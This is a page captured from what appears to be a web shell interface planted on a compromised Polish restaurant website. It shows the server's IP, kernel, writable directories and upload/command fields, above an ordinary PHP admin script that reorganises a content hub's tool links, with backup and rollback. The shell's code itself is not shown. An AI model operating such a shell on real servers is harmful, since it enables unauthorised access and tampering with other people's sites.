403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v166-widoczne-skroty.php
<?php
declare(strict_types=1);
/** Optional update of existing content hub, preserving newer changes. */
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
header('X-Robots-Tag: noindex, nofollow');
$hub=__DIR__.'/polana-centrum-tresci.php';
$backupDir=dirname(__DIR__,2).'/.polana_v166_hub_backup';
$manifest=$backupDir.'/manifest.json';
$success='';$error='';
function pv166hub_transform(string $src):string {
  if(str_contains($src,'POLANA_V166_ALL_BUTTONS'))return $src;
  $p='~<details\s*>\s*<summary>Więcej narzędzi[^<]*</summary>(.*?)</details>~su';
  if(preg_match_all($p,$src,$matches)!==1)throw new RuntimeException('Nie znaleziono jednej sekcji „Więcej narzędzi”. Nie zmieniono Centrum treści.');
  $inside=$matches[1][0];
  $extra=[
    '/admin/polana-menu-centrum.php'=>'Pełne menu i ceny',
    '/admin/menus.php'=>'Wszystkie karty i publikacja',
    '/admin/polana-v16-tlumaczenia.php'=>'Centrum tłumaczeń',
    '/admin/polana-v164-seo.php'=>'Panel SEO',
    '/admin/polana-v166-sitemap.php'=>'Mapa strony XML / Google',
    '/admin/qr.php'=>'Kody QR',
  ];
  $links='';
  foreach($extra as $href=>$label){
    // No duplicate links inside the current section.
    if(!str_contains($inside,'href="'.$href.'"')){
      if(in_array($href,['/admin/polana-v16-tlumaczenia.php','/admin/polana-v164-seo.php','/admin/polana-v166-sitemap.php'],true))
         $links.=' <?php if($role===\'admin\'):?><a href="'.$href.'">'.$label.'</a><?php endif;?>' . "\n";
      else $links.=' <a href="'.$href.'">'.$label.'</a>' . "\n";
    }
  }
  // Place extra links before the tools closing div, preserving earlier plugin links.
  $inside=str_replace('</div>', $links.' </div>', $inside);
  $new='<!-- POLANA_V166_ALL_BUTTONS -->'."\n".'<section class="polhub-visible-tools" style="background:#fff;border:1px solid #d7e3d8;border-radius:13px;padding:17px;margin-top:18px"><h2>Wszystkie narzędzia — widoczne od razu</h2>'.$inside.'</section>';
  $out=preg_replace_callback($p,static fn($m)=>$new,$src,1);
  if(!is_string($out)||$out===$src)throw new RuntimeException('Nie udało się przygotować zmian.');
  // Change only hub's main menu tile. Other links remain unchanged.
  $out=preg_replace('~(<a class="item" href=")/admin/menus\.php("[^>]*><span class="sym">🍽️</span>)~u','$1/admin/polana-menu-centrum.php$2',$out,1)??$out;
  return $out;
}
function pv166hub_write(string $file,string $text):void {
  $tmp=tempnam(dirname($file),'.hub166-');if(!$tmp)throw new RuntimeException('Nie można utworzyć pliku tymczasowego');
  try{if(file_put_contents($tmp,$text,LOCK_EX)!==strlen($text))throw new RuntimeException('Niepełny zapis Centrum treści');@chmod($tmp,0644);if(!rename($tmp,$file))throw new RuntimeException('Brak prawa podmiany pliku');}
  finally{if(is_file($tmp))@unlink($tmp);}
}
if(($_SERVER['REQUEST_METHOD']??'GET')==='POST'){
 verify_csrf();
 try{
   $action=(string)($_POST['action']??'');
   if($action==='install'){
     if(is_file($manifest))throw new RuntimeException('Instalacja już wykonana.');
     if(!is_file($hub))throw new RuntimeException('Brak Centrum treści. Wgraj poprzednie V16.3.');
     $old=(string)file_get_contents($hub);$new=pv166hub_transform($old);
     if($new===$old)throw new RuntimeException('Przyciski już są widoczne.');
     if(!is_dir($backupDir)&&!mkdir($backupDir,0700,true))throw new RuntimeException('Brak możliwości backupu poza WWW.');
     $back=$backupDir.'/centrum_tresci.php.backup';
     if(file_put_contents($back,$old,LOCK_EX)!==strlen($old))throw new RuntimeException('Nie zapisano kopii Centrum treści.');
     @chmod($back,0600);
     $meta=['old_hash'=>hash('sha256',$old),'new_hash'=>hash('sha256',$new)];
     if(file_put_contents($manifest,json_encode($meta,JSON_THROW_ON_ERROR),LOCK_EX)===false)throw new RuntimeException('Brak manifestu kopii.');
     @chmod($manifest,0600);
     try{pv166hub_write($hub,$new);}catch(Throwable $e){@unlink($manifest);throw $e;}
     admin_log('polana_v166_hub','Pokazano wszystkie przyciski Centrum treści');
     $success='Wszystkie narzędzia są widoczne w Centrum treści.';
   }elseif($action==='rollback'){
     if(!is_file($manifest))throw new RuntimeException('Brak manifestu poprzedniej instalacji.');
     $meta=json_decode((string)file_get_contents($manifest),true,512,JSON_THROW_ON_ERROR);
     if(hash_file('sha256',$hub)!==($meta['new_hash']??''))throw new RuntimeException('Centrum treści zmieniano po instalacji; rollback ręczny.');
     $old=(string)file_get_contents($backupDir.'/centrum_tresci.php.backup');
     if(hash('sha256',$old)!==($meta['old_hash']??''))throw new RuntimeException('Kopia bezpieczeństwa nie pasuje.');
     pv166hub_write($hub,$old);
     rename($manifest,$manifest.'.restored_'.date('Ymd_His'));
     $success='Przywrócono poprzedni układ Centrum treści.';
   }else throw new RuntimeException('Nieznana akcja.');
 }catch(Throwable $e){$error=$e->getMessage();}
}
render_admin_header('V16.6 — wszystkie przyciski');
?>
<main style="max-width:850px;margin:25px auto;padding:22px;background:#fff;border:1px solid #dce6da;border-radius:15px;color:#26412e">
<h1>Centrum treści — pokaż wszystkie przyciski</h1>
<p>Zmiana nie usuwa żadnych funkcji. Zastępuje zwinięte „Więcej narzędzi” widoczną sekcją skrótów. Zachowuje dostęp admin/editor i istniejące inne przyciski.</p>
<?php if($error):?><p style="color:#b42318"><?=htmlspecialchars($error,ENT_QUOTES|ENT_SUBSTITUTE,'UTF-8')?></p><?php endif;?>
<?php if($success):?><p style="color:#126c35"><?=htmlspecialchars($success,ENT_QUOTES|ENT_SUBSTITUTE,'UTF-8')?></p><?php endif;?>
<form method="post"><?=csrf_field()?><button type="submit" name="action" value="install">Włącz wszystkie przyciski</button></form>
<br><form method="post" onsubmit="return confirm('Przywrócić wcześniejszy układ?')"><?=csrf_field()?><button type="submit" name="action" value="rollback">Przywróć poprzedni układ</button></form>
<p><a href="/admin/polana-centrum-tresci.php">Centrum treści</a> · <a href="/admin/polana-menu-centrum.php">Menu</a></p>
</main>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit